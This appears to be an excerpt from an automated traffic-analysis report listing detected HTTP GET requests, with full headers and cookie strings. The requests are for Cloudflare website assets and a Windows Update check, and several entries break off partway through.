Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _biz_nA=4; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261162; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245
Source: global traffic	HTTP traffic detected: GET /static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/under-attack-hotline/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeC
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Yhetku68lr1x2M1&MD=wcCDAwHU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1rVmRBDX3KhZOe2FREoYOz/24f44a8dbe53111346d97dc59b7510ed/security-shield-protection-1.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/in
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dcd8a97/network-scale.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; mbo
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/35yeieyQns5B8WsFes9Z20/8bf36cbf9edf546c30cc9e3e08235255/cloudflare-zero-trust.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1Xar1H4WcFHHkHRDzMypMh/1f8989ae11cb464cc640c7121d0be9a6/logo_mars_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insig
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/4xn47h0gWiUSwJ0PU3Ysvk/683779108bfd6eeb62fbac5135780fe6/logo_loreal_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; 